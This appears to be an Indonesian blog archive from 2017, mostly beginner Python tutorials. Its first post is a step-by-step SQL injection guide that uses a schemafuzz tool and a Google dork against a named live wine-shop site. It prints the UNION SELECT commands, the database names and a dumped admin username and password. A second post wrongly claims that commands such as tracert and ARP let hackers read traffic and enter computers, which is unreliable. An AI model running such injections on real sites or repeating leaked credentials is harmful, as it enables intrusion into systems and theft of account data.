Selasa, 30 Mei 2017

tutorial hacking dengan menggunakan bahasa pemrograman phyton

Hacking : Dengan Menggunakan Sql Injection Hanya Untuk Yang Serius Belajar….
Hello all, DI sini gua mau sharing Ilmu dikit mengenai Hacking Sql Injection Dengan Menggunakan Metode Schema fuzzy
Khusus buat Para Newbie Yang pengen belajar,,, jadi buat para master yang udah jago di liat2 aja dech….
Mungkin masih banyak kekurangan dalam Thread ini, untuk itu ayo kita sama sama belajar…
Langsung Masuk Ke pembahasanx yachh :
Schema Fuzzy adalah tools yang di buat dengan bahasa python yang dipergunakan untuk melakukan test SQL Injection pada sebuah website…
feature dan hal2 yang di butuhkan yaitu :
1. Komputer (fast speed)
2. Koneksi internet (fast connection)
3. Program Python-2.6.4 (bisa di download Di Sini !! Setelah Di download Langsung Di install di PC/Laptop anda)
4. script schemafuzzy.py (adalah script yang akan di gunakan untuk mencari database,column and table ,, Untuk download scriptsx Klik Di Sini !!)
5. CMD
6. target website (misal menggunakan kata kunci di google : “products.php?cat=”)
Sudah Di siapkan?
di pastikan Kamu sudah install python2.6.4. Copy schemafuzz.py ke dalam dir python26. Kalo sudah selesai langsung jalankan. Caranya :
klik start>>Run>>CMD
truss and aktif ke directory c:\ dengan mengetik CD ../.. <– mundur 2 dir masuk ke directory Python26 dengan cara ketik “cd Python26” hingga muncul C:\Python26>
perintah dasar schemafuzzy ini yaitu :
schemafuzzy.py -u “target” –perintah
1. kita gunakan di target kita. (disini saya ambil target yang saya dapatkan di google dengan kata kunci : “products.php?cat=”) yaitu :
http://www.queenannewine.com/products.php?cat=1
2. Cek kolomnya
python schemafuzzy.py -u http://www.queenannewine.com/products.php?cat=1 –findcol
Hingga muncul :
3. setelah ini kamu masuk ke direktory c:\ di mana python terinstall cari name file schemafuzzlog.txt <– di sini ada hasil column yang berhasil di cari tadi….
3. Cari Db nya..
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” -dbs
Hingga Muncul :
Kita sudah temukan data base site tersebut :
database ada 3 :
1. C239128_QAWcal
2. C239128_queen
3. C239128_queen2
tapi pada penjesalan ini kita akan gunakan database nomor2
4. Cari nama table dalam database C239128_queen
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” –schema -D C239128_queen
Hingga Muncul Hasil :
keluar semua colomnya… dari sini kita mengetahui bahwa web tersebut memiliki 56 Columns. (pic di atas pencarian Blom selesai, jadi kalian kalian harus selesaikan sampai column 56) Sekarang kita tinggal pilih kolom yang akan kita exploit ….
5. Exploit Tables and Columns :
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” –dump -D C239128_queen -T – di isi Nama table -C di isi nama columns..
Misal gua mau Melihat data data yang ada di columns admin :
Dengan perintah :
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” –dump -D C239128_queen -T admin -C adminUser,adminPassword
Hingga Muncul Hasil seperti di bawah ini :
Lihat
jbalji:mcse6273:mcse6273:
ini adalah user dan password admin yang keluar.. . Cara ini hanya berlaku untuk sql versi 5. untuk versi 4, Harus Manual.
Nah user and password admin dah ketahuan… untuk login ke adminx.. silahkan anda cari sendiri link loginx….
oke sekian dari saya
segala penyalah gunaan dari artikel ini bukan Tanggung jawab penulis.
Semoga bermanfaat bagi anda

Senin, 29 Mei 2017

cara seru belajar hacker dasar - perintah yang sering digunakan di cmd

cara seru belajar hacker dasar - perintah yang sering digunakan di cmd


Jika Anda memang bekerja pada dunia teknologi atau lebih banyak menggunakan komputer dengan sistem operasi Windows setiap hari, maka Anda sebaiknya lebih banyak mengenal tentang CMD (Command Prompt). CMD ini bisa dikatakan sebagai Windows Explorer dari sistem operasi Windows, hanya dalam tampilan CLI (Command Line Interface), atau butuh beberapa perintah untuk mengakses file atau software di dalam komputer. Bahkan, dengan mengetahui lebih jauh mengenai dunai CMD, maka Anda pun bisa menjadi seorang hacker yang katanya sangat hebat dalam hal bobol-membobol. Tapi, kalau masalah bobol-membobol cewek, apa bisa juga ya?

Nah, di bawah ini Saya akan mencoba menjelaskan sedikit perintah dasar yang umum digunakan oleh para hacker saat menjalankan aksinya untuk membobol sistem keamanan jaringan kantor atau pun sebuah komputer.

1. Ping

Perintah pertama ini pasti sudah cukup banyak dikenal untuk Anda yang memang mempelajari dunia teknologi komputer, khususnya jaringan. Anda jangan berpikiran perintah Ping ini mirip dengan PING! yang ada pada aplikasi BBM di smartphone. Perintah ping pada jaringan ini berfungsi untuk melihat parameter koneksi pada sebuah jaringan. Dan, perintah ini pasti adalah perintah pertama yang akan digunakan oleh para hacker jika ingin membobol sebuah sistem keamanan berbasis jaringan. Ping ini termasuk salah satu fungsi pada sistem operasi komputer yang akan mengirimkan paket-paket data kecil.

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-1-oleh-tekno-segiempatPara hacker akan memonitor ping yang dikirimkan pada sebuah alamat IP pada sistem keamanan tersebut, untuk bisa mengetahui koneksi datanya lancar atau tidak. Semakin besar jumlah time yang muncul pada parameter ping ini, maka itu berarti koneksi jaringan tersebut akan lambat, atau bahkan terputus-putus. Ping juga berfungsi untuk mengetahui alamat IP pada sebuah website. Misalnya saja Anda ingin mengetahui alamat ip dari server situs Google atau Facebook, maka Anda cukup mengetikkan perintah “ping google.com” dan tekan enter. Maka, alamat ip dari server situs google pun bisa Anda lihat. Dan, masih banyak lagi fungsi dari ping pada jaringan ini.

2. Nslookup

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-2-oleh-tekno-segiempatUntuk bisa membuka fitur Nslookup ini, maka Anda harus membuka halaman CMD Anda terlebih dahulu lalu mengetikkan perintah Nslookup. Di dalam halaman Nslookup ini Anda bisa mengetikkan alamat situs untuk mengetahui alamat ipnya, seperti google tadi. Perintah Nslookup pada jaringan ini pun sering digunakan untuk melakukan diagnosa pada sebuah jaringan yang bermasalah khususnya yang berhubungan dengan DNS. Jadi, fungsi dari Nslookup ini bisa dikatakan memang tidak terlalu jauh berbeda dengan ping di atas. Hanya saja, perinta ping kadang tidak memunculkan ip dari nama komputer pada sebuah jaringan. Tapi, dengan menggunakan perintah nslookup maka Anda bisa dengan mudah menemukan alamat ip dari komputer pada sebuah jaringan LAN.

3. Tracert

Perintah ini biasanya akan digunakan setelah penggunaan perintah ping di atas. Perintah tracert akan disertai dengan alamat ip dari situs atau jaringan tersebut. Perintah tracert salah satu perintah penting saat hacker mulai membobol sebuah jaringan. Karena dengan perintah ini maka hacker mampu melacak paket-paket data bahkan situs apa saja yang dibuka oleh pemilik target pada komputernya. Misalnya, komputer target ini sedang melakukan pengiriman paket data seperti transfer rekening, mengirim file melalui email, maka dengan perintah tracert paket-paket data tersebut akan terbaca, walaupun dalam mode enkripsi yang hanya bisa dipecahkan dengan tool khusus.

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-3-oleh-tekno-segiempatNah, jika para hacker telah mengetahui adanya lalu lintas jaringan seperti itu, maka bisa saja hacker memotong proses pengiriman tersebut, dan bahkan mengalihkannya

4. ARP

Perintah yang satu ini juga termasuk perintah yang paling sering digunakan oleh para hacker jika sudah kesulitan untuk menyerang melalui alamat IP. Karena perintah ARP ini mampu menampilkan alamat mac address sebuah komputer pada sebuah jaringan. Mac address ini adalah sebuah alamat dari hardaware atau port jaringan yang digunakan oleh komputer target yang tentunya menjadi bawaan atau default dari komputer tersebut. Walaupun memang ada cara merubah mac adress komputer, namun cara ini tentunya hanya bertahan sementara waktu saja. Setelah komputer direset atau diinstal ulang maka mac address default akan kembali.

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-4-oleh-tekno-segiempatNah, dengan menemukan alamat mac address komputer target dengan perintah ARP ini, maka seorang hacker tentunya akan dengan pulang balik masuk ke dalam komputer targetnya.

5. Route

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-5-oleh-tekno-segiempatPerintah route ini adalah sebuah perintah yang bisa membuat jalur baru pada sebuah jaringan komputer. Perintah ini pun umumnya digunakan para hacker jika sudah berhasil pada masuk jaringan LAN atau WAN sistem keamanan dari sebuah kantor. Jika sudah berhasil masuk menggunakan perintah ini, maka seorang hacker pun mampu mengetahui setiap aktivitas yang terjadi pada lalu lintas jaringan tersebut, bahkan bisa mengetahui host, gateway dan juga destinasi dari jaringan.

6. Ipconfig

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-6-oleh-tekno-segiempatIni termasuk perintah umum yang juga sering digunakan baik para hacker atau pun teknisi jaringan. Karena, perintah ini memang digunakan untuk melihat sebuah informasi IP pada sebuah komputer. Fungsi dari perintah ipconfig ini sebenarnya cukup banyak. Bahkan perintah ini bisa Anda gunakan untuk menggonta-ganti alamat IP komputer, atau mereset settingan jaringan dari komputer tersebut, apalagi jika jaringan tersebut harus menggunakan protokol DHCP. Anda bisa melihat setiap fugnsi dan juga perintah tambahanya pada layar CMD komputer Anda dengan mengetikkan perintah “ipconfig /?”, maka semua perintah ipconfig dan penjelasannya pun akan ditampilkan. Hanya saja, Anda harus mengerti bahasa inggris dulu ya!

7. Netstat

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-7-oleh-tekno-segiempatPerintah ini akan membantu Anda untuk melihat statistik dari jaringan yang ada pada komputer Anda. Dengan mengetikkan perintah netstat pada halaman CMD Anda, maka Anda pun bisa melihat aktivitas jaringan yang sedang dilakukan oleh komputer lainnya yang terhubung pada jaringan yang sama. Informasi yang ditampilkan oleh perintah netstat ini bahkan lebih detail dan juga lengkap dengan port-port yang digunakan oleh komputer. Anda cukup mengetikkan perintah “netstat /?” untuk melihat semua perintah layanan dari netstat ini dengan detail dan lengkap.

Nah, itulah beberapa perintah yang banyak digunakan oleh para hacker saat melakukan proses pembobolan sistem keamanan jaringan atau sebuah komputer pada sebuah jaringan yang sama. Sebenarnya perintah-perintah tersebtu di atas adalah perintah umum yang juga digunakan oleh para teknisi jaringan. Hanya saja dengan sedikit modifikasi dan juga tambahan tools, maka seorang hacker mampu membobol sistem keamanan jaringan dengan perintah CMD dasar di atas.

Minggu, 21 Mei 2017

belajar pemrograman python :Mengenal Statement Try Except di Python

Mengenal Statement Try Except di Python


Salah satu bentuk penangan error di Python adalah dengan menggunakan statement try..except. Mungkin kita pernah mendeteksi error dengan memanfaatkan kondisional biasa menggunakan if..else, namun hal tersebut akan lebih praktis ditangani bila dengan menggunakan try..except. Anda dapat mengurung suatu blok kode dengan try..except untuk menangani error yang mungkin kita sendiri tidak mengetahuinya. Biasanya try..except ini digunakan untuk menangani error saat penggunaan IO, operasi database, atau pengaksesan indeks suatu list atau dictionary, dan berbagai kasus lainnya.

Sekarang kita akan mengenal beberapa kasus sederhana yang menggunakan try..except.

Menangani error pembagian nol

Misalkan dalam kode berikut terjadi pembagian yang membagi suatu angka dengan nol. Sudah menjadi ketentuan bahwa jika sebuah angka dibagi nol maka program akan error. Oleh karena itu kita kurung dengan try..except, kemudian kita keluarkan error-nya begitu error tertangkap oleh except. Baris "print x+1" akan tetap dieksekusi hanya saja akan muncul error yang ditimbulkan oleh pembagian nol.

x = 0
try:
x = 1 / 0
except Exception, e:
print e

print x + 1
Jika kode diatas dieksekusi, maka akan muncul error seperti berikut ini:

$ python demo-1.py
integer division or modulo by zero
1
Menangani error pembacaan file

Di kode ini kita akan mencoba menangkap dua error pada kode yang dikurung oleh try..except. Terdapat sebuah dictionary yang berisi key nama, kota, dan umur. Kemudian kita membuka sebuah file yang bernama contact.txt. Walaupun ada kode error setelahnya yang akan mengakibatkan error pengaksesan indeks, yang akan ditangkap terlebih dahulu adalah error yang diakibatkan gagalnya membaca file.

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
contact = open("contact.txt", 'r')
print orang["pekerjaan"]
except IOError, e:
print "Terjadi error IO: ", e
except KeyError, e:
print "Terjadi kesalahan pada akses list/dict/tuple:", e

print orang
Bila kita eksekusi kode diatas, maka akan muncul output seperti berikut:

$ python demo-2.py
Terjadi error IO: [Errno 2] No such file or directory: '/home/contact.txt'
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "finally"

Mungkin kita juga membutuhkan sebuah penanganan khusus apabila terjadi suatu error ataupun tidak pasti harus ada kode yang dieksekusi. Misal Anda ingin memutus koneksi kepada server jika terdapat error karena request yang overload atau ada struktur folder yang berubah. Sebagai contoh kita akan melihat bagaimana statement finally bekerja pada try..except. Anda dapat melihatnya pada kode berikut ini:

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
print orang["nama"]
except KeyError, e:
print "Terjadi error KeyError: ", e
finally:
print "baris ini akan selalu dieksekusi"

print orang
Jika kode diatas kita eksekusi, maka akan muncul output seperti berikut:

$ python demo-3.py
syuaib
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Bila kita coba ganit "nama" dengan "pekerjaan", maka akan muncul output seperti berikut:

$ python demo-3.py
Terjadi error KeyError: 'pekerjaan'
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "raise"

Satu hal lagi yang dapat kita manfaatkan untuk membantu penangan error adalah dengan menggunakan statement raise yang dapat mengeluarkan error secara sengaja. Biasanya raise ini digunakan bersama dengan if..else atau pemeriksaan kondisi lainnya. Objek error yang dapat dilemparkan beragam macamnya. Anda dapat melempar error NetworkError, KeyError, ImportError, IOError, atau error lainnya.

Misal pada kode dibawah ini, kita akan mencoba melemparkan error ValueError dengan memasukkan nilai -99999. Kemudian saat pemeriksaan, apabila nilai kurang dari nol maka akan muncul error.

nilai = -999999

try:
print "baris ini akan di print"
if nilai < 0:
raise ValueError, nilai
print "baris ini tidak akan di print"
except Exception, e:
print e
finally:
print "Ada error mas"
Bila kode diatas kita eksekusi di konsol maka akan muncul output seperti berikut:

$ python demo-4.py
baris ini akan di print
-999999
Ada error mas

Mengenal Statement Try Except di Python

Mengenal Statement Try Except di Python


Salah satu bentuk penangan error di Python adalah dengan menggunakan statement try..except. Mungkin kita pernah mendeteksi error dengan memanfaatkan kondisional biasa menggunakan if..else, namun hal tersebut akan lebih praktis ditangani bila dengan menggunakan try..except. Anda dapat mengurung suatu blok kode dengan try..except untuk menangani error yang mungkin kita sendiri tidak mengetahuinya. Biasanya try..except ini digunakan untuk menangani error saat penggunaan IO, operasi database, atau pengaksesan indeks suatu list atau dictionary, dan berbagai kasus lainnya.

Sekarang kita akan mengenal beberapa kasus sederhana yang menggunakan try..except.

Menangani error pembagian nol

Misalkan dalam kode berikut terjadi pembagian yang membagi suatu angka dengan nol. Sudah menjadi ketentuan bahwa jika sebuah angka dibagi nol maka program akan error. Oleh karena itu kita kurung dengan try..except, kemudian kita keluarkan error-nya begitu error tertangkap oleh except. Baris "print x+1" akan tetap dieksekusi hanya saja akan muncul error yang ditimbulkan oleh pembagian nol.

x = 0
try:
x = 1 / 0
except Exception, e:
print e

print x + 1
Jika kode diatas dieksekusi, maka akan muncul error seperti berikut ini:

$ python demo-1.py
integer division or modulo by zero
1
Menangani error pembacaan file

Di kode ini kita akan mencoba menangkap dua error pada kode yang dikurung oleh try..except. Terdapat sebuah dictionary yang berisi key nama, kota, dan umur. Kemudian kita membuka sebuah file yang bernama contact.txt. Walaupun ada kode error setelahnya yang akan mengakibatkan error pengaksesan indeks, yang akan ditangkap terlebih dahulu adalah error yang diakibatkan gagalnya membaca file.

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
contact = open("contact.txt", 'r')
print orang["pekerjaan"]
except IOError, e:
print "Terjadi error IO: ", e
except KeyError, e:
print "Terjadi kesalahan pada akses list/dict/tuple:", e

print orang
Bila kita eksekusi kode diatas, maka akan muncul output seperti berikut:

$ python demo-2.py
Terjadi error IO: [Errno 2] No such file or directory: '/home/contact.txt'
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "finally"

Mungkin kita juga membutuhkan sebuah penanganan khusus apabila terjadi suatu error ataupun tidak pasti harus ada kode yang dieksekusi. Misal Anda ingin memutus koneksi kepada server jika terdapat error karena request yang overload atau ada struktur folder yang berubah. Sebagai contoh kita akan melihat bagaimana statement finally bekerja pada try..except. Anda dapat melihatnya pada kode berikut ini:

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
print orang["nama"]
except KeyError, e:
print "Terjadi error KeyError: ", e
finally:
print "baris ini akan selalu dieksekusi"

print orang
Jika kode diatas kita eksekusi, maka akan muncul output seperti berikut:

$ python demo-3.py
syuaib
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Bila kita coba ganit "nama" dengan "pekerjaan", maka akan muncul output seperti berikut:

$ python demo-3.py
Terjadi error KeyError: 'pekerjaan'
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "raise"

Satu hal lagi yang dapat kita manfaatkan untuk membantu penangan error adalah dengan menggunakan statement raise yang dapat mengeluarkan error secara sengaja. Biasanya raise ini digunakan bersama dengan if..else atau pemeriksaan kondisi lainnya. Objek error yang dapat dilemparkan beragam macamnya. Anda dapat melempar error NetworkError, KeyError, ImportError, IOError, atau error lainnya.

Misal pada kode dibawah ini, kita akan mencoba melemparkan error ValueError dengan memasukkan nilai -99999. Kemudian saat pemeriksaan, apabila nilai kurang dari nol maka akan muncul error.

nilai = -999999

try:
print "baris ini akan di print"
if nilai < 0:
raise ValueError, nilai
print "baris ini tidak akan di print"
except Exception, e:
print e
finally:
print "Ada error mas"
Bila kode diatas kita eksekusi di konsol maka akan muncul output seperti berikut:

$ python demo-4.py
baris ini akan di print
-999999
Ada error mas

belajar pemrograman python : Macam Function di Python

Melihat Berbagai Macam Function di Python


Di Python sebuah function dapat dipasang di dalam sebuah class, sehingga istilahnya berubah menjadi method. Sedangkan function yang tidak berada di dalam class tetap disebut function. Function di Python pun ada yang bersifat anonymous karena tidak memerlukan nama untuk membuat function tersebut dapat dipanggil.

Sebuah function di Python biasanya memiliki sebuah parameter dan return statement. Function di Python memiliki pola sebagai berikut:

def nama_function_yang_akan_anda_buat (param1, param2, ... paramn):
# kode Anda disini
return sesuatu
Tipe data yang dikembalikan bisa berbagai macam jenis tipe data yang didukung Python. Begitupun parameter yang akan diterima oleh function tersebut. Sebagai contoh mari kita buat berbagai function seperti pada kode berikut:

def hello():
print "Hello world"

def getDBConfig():
config = {
"driver":"sqlite3",
"name":"testing.db",
"path":"/home/user/Documents"
}

return config

def getName(id):
if id == 1:
name = "Alexander Grotesqiue"
elif id == 2:
name = "Saleh Mahmoud Al Qassam"
elif id == 3:
name = "Natasha Vorvanova"

return name

def getHargaDealer(harga):
harga_baru = harga + ((harga / 100.0) * 15.0)
return harga_baru

def getNumberList(length):
x = range(0, length)
return x

def getLuasPersegiPanjang(p, l):
x = p * l
return x
Salin kode diatas ke dalam file yang kita berinama dengan demo-method.py. Pada kode diatas, kita membuat berbagai function yang terdiri dari:

hello(), parameter tidak ada dan tidak mengembalikan nilai apapun
getDBConfig(), parameter tidak ada dan mengembalikan nilai berupa dictionary
getName(), parameter cuma satu dan mengembalikan nilai berupa string
getHargaDealer(), parameter cuma satu dan mengembalikan nilai berupa float
getNumberList(), parameter cuma satu dan mengembalikan nilai berpa list
getLuasPersegiPanjang(), parameter ada dua dan mengembalikan nilai berupa integer atau float
Sekarang masih di file yang sama silahkan tambahkan kode berikut untuk memperlihatkan penggunaan function yang telah dibuat:

hello()

db_config = getDBConfig()
print db_config

name = getName(3)
print name

harga_dealer = getHargaDealer(1000000)
print harga_dealer

number_list = getNumberList(10)
print number_list

luas = getLuasPersegiPanjang(20, 10)
print luas
Mari kita eksekusi kode diatas melalui konsol:

$ python demo-method.py
Hello world
{'path': '/home/user/Documents', 'driver': 'sqlite3', 'name': 'testing.db'}
Natasha Vorvanova
1150000.0
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
200

belajar pemrograman python Kondisional

Macam - Macam Kondisional di Python


Ada tiga macam kondisional di Python, yang dapat Anda gunakan untuk membangun alur logika untuk program Anda. Python memiliki statement if, if..else, dan if..elif..else. Berikut ini adalah contoh penggunaan if di Python:

umur = 20
if umur > 18:
print "Sudah beranjak dewasa"
Hasil eksekusi di konsol:

$ python if.py
Sudah beranjak dewasa
Untuk memeriksa kondisi yang tidak memenuhi kondisi utama. Maka else digunakan untk menangani semua kondisi selain kondisi yang telah dituliskan. Berikut adalah contoh penggunaan else di dalam kondisional Python:

umur = 20
if umur > 18:
print "Sudah beranjak dewasa"
else:
print "Masih dibawah umur"
Hasil eksekusi di konsol:

$ python if-else.py
Sudah beranjak dewasa
Bila kondisi yang akan didefinisikan cukup banyak, Anda dapat menambah kondisi lain dengan menggunakan elif di bawah statement if dan sebelum statement else:

umur = 37
if umur > 18 and umur < 30: print "Sudah beranjak dewasa" elif umur > 30 and umur < 45: print "Masa - masa emas" elif umur > 45 and umur < 55: print "Memasuki masa paruh baya" elif umur > 55:
print "Masa - masa manula"
else:
print "Masih dibawah umur"
Hasil eksekusi di konsol:

$ python if-elif.py
Masa - masa emas
Dan tentu saja, sebuah kondisional dapat disimpan di dalam if lain. Berikut ini adalah contoh kode if bersarang di Python:

gaji = 10000000
berkeluarga = True
punya_rumah = True

if gaji > 3000000:
print "Gaji sudah diatas UMR"
if berkeluarga:
print "Wajib ikutan asuransi dan menabung untuk pensiun"
else:
print "Tidak perlu ikutan asuransi"

if punya_rumah:
print "wajib bayar pajak rumah"
else:
print "tidak wajib bayar pajak rumah"
else:
print "Gaji belum UMR"

Hasil eksekusi di konsol:

$ python nested-if.py
Gaji sudah diatas UMR
Wajib ikutan asuransi dan menabung untuk pensiun
wajib bayar pajak rumah

PENGULANGAN DI PEMROGRAMAN PYTHON

Macam - Macam Pengulangan di Python


Pengulangan adalah salah satu hal penting yang ada di bahasa pemrograman. Pengulangan digunakan misalnya untuk meng-update nama file yang cukup banyak jumlahnya, atau mengakses piksel satu persatu pada gambar.

Python memiliki tiga jenis pengulangan yang wajib Anda cermati untuk membuat sebuah aplikasi dengan Python. Pengulangan yang pertama adalah while. Dengan menggunakan while, Anda dapat membuat kondisi tertentu untuk menghentikan while. Biasanya while digunakan untuk melakukan looping yang tidak pasti. Coba lihat contoh berikut (Anda dapat menulisnya dalam sebuah file, kemudian eksekusi file tersebut di konsol):

i = 0
while True:
if i < 10: print "Saat ini i bernilai: ", i i = i + 1 elif i >= 10:
break

Pada potongan kode diatas, while akan terus berputar selama i masih kurang dari 10. Jika sudah lebih dari 10 maka while akan berhenti. Pengulangan while juga biasa digunakan di aplikasi konsol, untuk menahan user mengisikan semua input yang diperlukan dan baru akan berhenti setelah semua input dan proses interaksi berakhir. Jika kode diatas kita jalankan, maka output-nya akan seperti ini:

$ python while.py
Saat ini i bernilai: 0
Saat ini i bernilai: 1
Saat ini i bernilai: 2
Saat ini i bernilai: 3
Saat ini i bernilai: 4
Saat ini i bernilai: 5
Saat ini i bernilai: 6
Saat ini i bernilai: 7
Saat ini i bernilai: 8
Saat ini i bernilai: 9
Sekarang kita coba gunakan for. Pengulangan for biasa digunakan untuk pengulangan yang sudah jelas banyaknya. Misal, Anda ingin mengulang sebuah pengulangan sampai 10 kali atau mengeluarkan semua hasil query dari database di halaman HTML. Berikut ini adalah contoh kode untuk pengulangan for:

for i in range(0, 10):
print i
Jika dijalankan maka kode diatas akan mengeluarkan output seperti ini:

$ python for.py
0
1
2
3
4
5
6
7
8
9
Tidak hanya mengiterasi deretan angka, pengulangan for pun dapat Anda gunakan untuk mengulang sesuatu yang iterable seperti list, tuple, dictionary, dan iterable object lainnya. Berikut ini kita ambil contoh dengan mengulang sebuah list yang berisi karakter anime Dragonball Super:

dragonball_super_character = ["Son Goku", "Vegeta", "Beerus", "Trunks", "Whiz", "Champa"]
for character in dragonball_super_character:
print character
Jika kita jalankan potongan kode tadi, maka output-nya akan seperti berikut:

$ python for-list.py
Son Goku
Vegeta
Beerus
Trunks
Whiz
Champa

belajar dasar - dasar bahasa pemrograman PYTHON

Memulai Pemrograman dengan Python


Python merupakan salah satu bahasa pemrograman yang populer di dunia kerja Indonesia. Selain itu di ranah akademik pun banyak akademisi yang menggunakan Python untuk menyelesaikan penelitiannya di bidang komputasi sains, robotika, data science, ekonomi, antariksa dan berbagai macam bidang lainnya. Python secara default telah terpasang di beberapa sistem operasi berbasis Linux seperti Ubuntu, Linux Mint, dan Fedora. Untuk sistem operasi lain, sudah tersedia installer yang disediakan untuk sistem operasi tersebut.

Banyak hal yang dapat Anda jelajahi ketika menggunakan bahasa pemrograman Python. Beberapa package Python yang populer di Python antara lain:

Django, web framework
Scipy dan Scikit, pustaka untuk membuat aplikasi machine learning dan artificial intelligence
Tornado, pustaka untuk membuat aplikasi web, websocket, dan asynchronous programming
Celery, pustaka untuk membuat asynchronous task
OpenCV Python, pustaka untuk membuat aplikasi computer vision
Matplotlib, pustaka untuk membuat grafik untuk keperluan saintifik
BioPython, pustaka untuk menganalisa DNA dan Genome mahluk hidup
TensorFlow, pustaka untuk membuat aplikasi yang ditenagai oleh deep learning
dan lainnya
Selain itu Python pun memiliki sebuah package manager yang populer dan unggul yang dinamakan dengan PIP. Dengan menggunakan PIP, Anda dapat mulai memasang atau menghapus pustaka Python yang akan atau tidak digunakan lagi. Di Indonesia sendiri banyak sekali website yang sudah ditenagai dengan menggunakan Python. Beberapa website yang ditenagai Python antara lain: KelasKita, CodeSaya, Kargo.Co.Id, dan banyak lainnya.

Dimulai dengan Hello World

Untuk memulai suatu pemrograman, kita akan awali dengan membuat sebuah hello world. Di Python, cukup mudah untuk membuat sebuah hello world. Silahkan buat sebuah file dengan nama helloworld.py kemudian buat kode berikut di dalam file tersebut:

print "Hello world..."
Sekarang mari kita eksekusi file tersebut di konsol dengan perintah berikut:

$ python helloworld.py
Hello world...

Mencoba beberapa tipe data dasar

Untuk membuat variabel di Python cukup mudah, Anda tidak perlu mendeklarasikan variabel dengan tipe data yang diharuskan. Cukup mendefinisikan sebuah variabel kemudian isi dengan nilai maka akan terbentuk sebuah variabel. Variabel yang akan kita coba antara lain variabel dengan tipe data integer, float, string, boolean, dan list. Untuk penamaan variabel sendiri tidak boleh diawali dengan angka dan tidak boleh mengandung karakter spesial. Anda pun dapat memeriksa sebuah tipe data pada variabel dengan menggunakan method type() yang merupakan method built-in Python yang tidak perlu Anda import terlebih dahulu.


Sekarang silahkan buat sebuah file dengan nama hellovariable.py, kemudian buat kode berikut di dalam file tersebut:


umur = 10
gravitasi = 9.8
nama = "Peter Parker"
bukan_dosen = True
superhero = ["Hulk", "Iron Man", "Captain America", "Spiderman", "Thor"]


print type(umur)
print "umur: ", umur


print type(gravitasi)
print "gravitasi: ", gravitasi


print type(nama)
print "nama: ", nama


print type(bukan_dosen)
print "bukan dosen: ", bukan_dosen


print type(superhero)
print "superhero - 0: ", superhero[0]
print "superhero - 1: ", superhero[1]
print "superhero - 2: ", superhero[2]
print "superhero - 3: ", superhero[3]
print "superhero - 4: ", superhero[4]
Kita buat sebuah variabel bertipe integer dengan nama umur, kemudian variabel bertipe float dengan nama gravitasi, variabel bertipe string dengan nama nama, variabel bertipe boolean dengan nama bukan_dosen, dan sebuah list dengan nama superhero. Ada beberapa hal yang harus Anda perhatikan terlebih dahulu sebagai berikut:

Untuk tipe data float, Anda harus memasukkan nilai koma yang ditandai dengan tanda titik, bukan dengan tanda koma
Untuk tipe data string, Anda harus memasukkan rangkaian huruf yang diapit dengan tanda petik dua
Untuk tipe ada boolean, hanya ada dua nilai yaitu True dan False
List adalah wadah untuk membuat sebuah kumpulan suatu tipe data bahkan list. Anda dapat mengisi list dengan data yang setipe atau bahkan campuran. Anda pun dapat memasukkan tipe data kompleks lainnya seperti dictionary, tuple, dan object.
Untuk memeriksa sebuah tipe data dari variabel, Anda dapat menggunakan method type()
Untuk menggabungkan string dengan isi variabel, Anda dapat menggunakan tanda koma sebagai pemisah
Untuk mengakses sebuah list, Anda dapat mengakses nilai berdasarkan indeksnya yang dimulai dari nol
OK, sekarang mari kita jalankan file tersebut di konsol dengan menggunakan perintah dibawah ini:

$ python hellovariable.py

umur: 10

gravitasi: 9.8

nama: Peter Parker

bukan dosen: True

superhero - 0: Hulk
superhero - 1: Iron Man
superhero - 2: Captain America
superhero - 3: Spiderman
superhero - 4: Thor
Mencoba membuat sebuah kondisi dengan "if"

Lalu tak lengkap rasanya bila memulai pemrograman tapi belum mencoba kondisional dengan menggunakan keyword semacam if. Sebagai perkenalan kita akan mencoba sebuah if..else sederhana yang memeriksa apakah boleh mengakses halaman dosen atau tidak. Buatlah sebuah file dengan nama helloif.py kemudian buat kode berikut dalam file tersebut:

apakah_dosen = False
if (apakah_dosen):
print "Boleh mengakses halaman dosen..."
else:
print "Tidak boleh mengakses halaman dosen, mohon keluar..."
Sekarang mari kita jalankan file tersebut di konsol dengan perintah dibawah ini:


$ python helloif.py
Tidak boleh mengakses halaman dosen, mohon keluar...
Mencoba membuat pengulangan dengan "for"


Dan hal lain yang wajib dicoba ketika mulai mencoba sebuah bahasa pemrograman adalah membuat looping. Kita akan coba membuat sebuah looping sederhana dengan menggunakan "for". Kita akan melakukan looping sebanyak 10 kali dan mencetak sebuah string di konsol. Silahkan buat sebuah file dengan nama hellofor.py, kemudian buat kode berikut di dalam file tersebut:


for i in range(0, 10):
print "i saat ini: ", i
Sekarang mari kita jalankan file tersebut di konsol dengan perintah dibawah ini:


$ python hellofor.py
i saat ini: 0
i saat ini: 1
i saat ini: 2
i saat ini: 3
i saat ini: 4
i saat ini: 5
i saat ini: 6
i saat ini: 7
i saat ini: 8
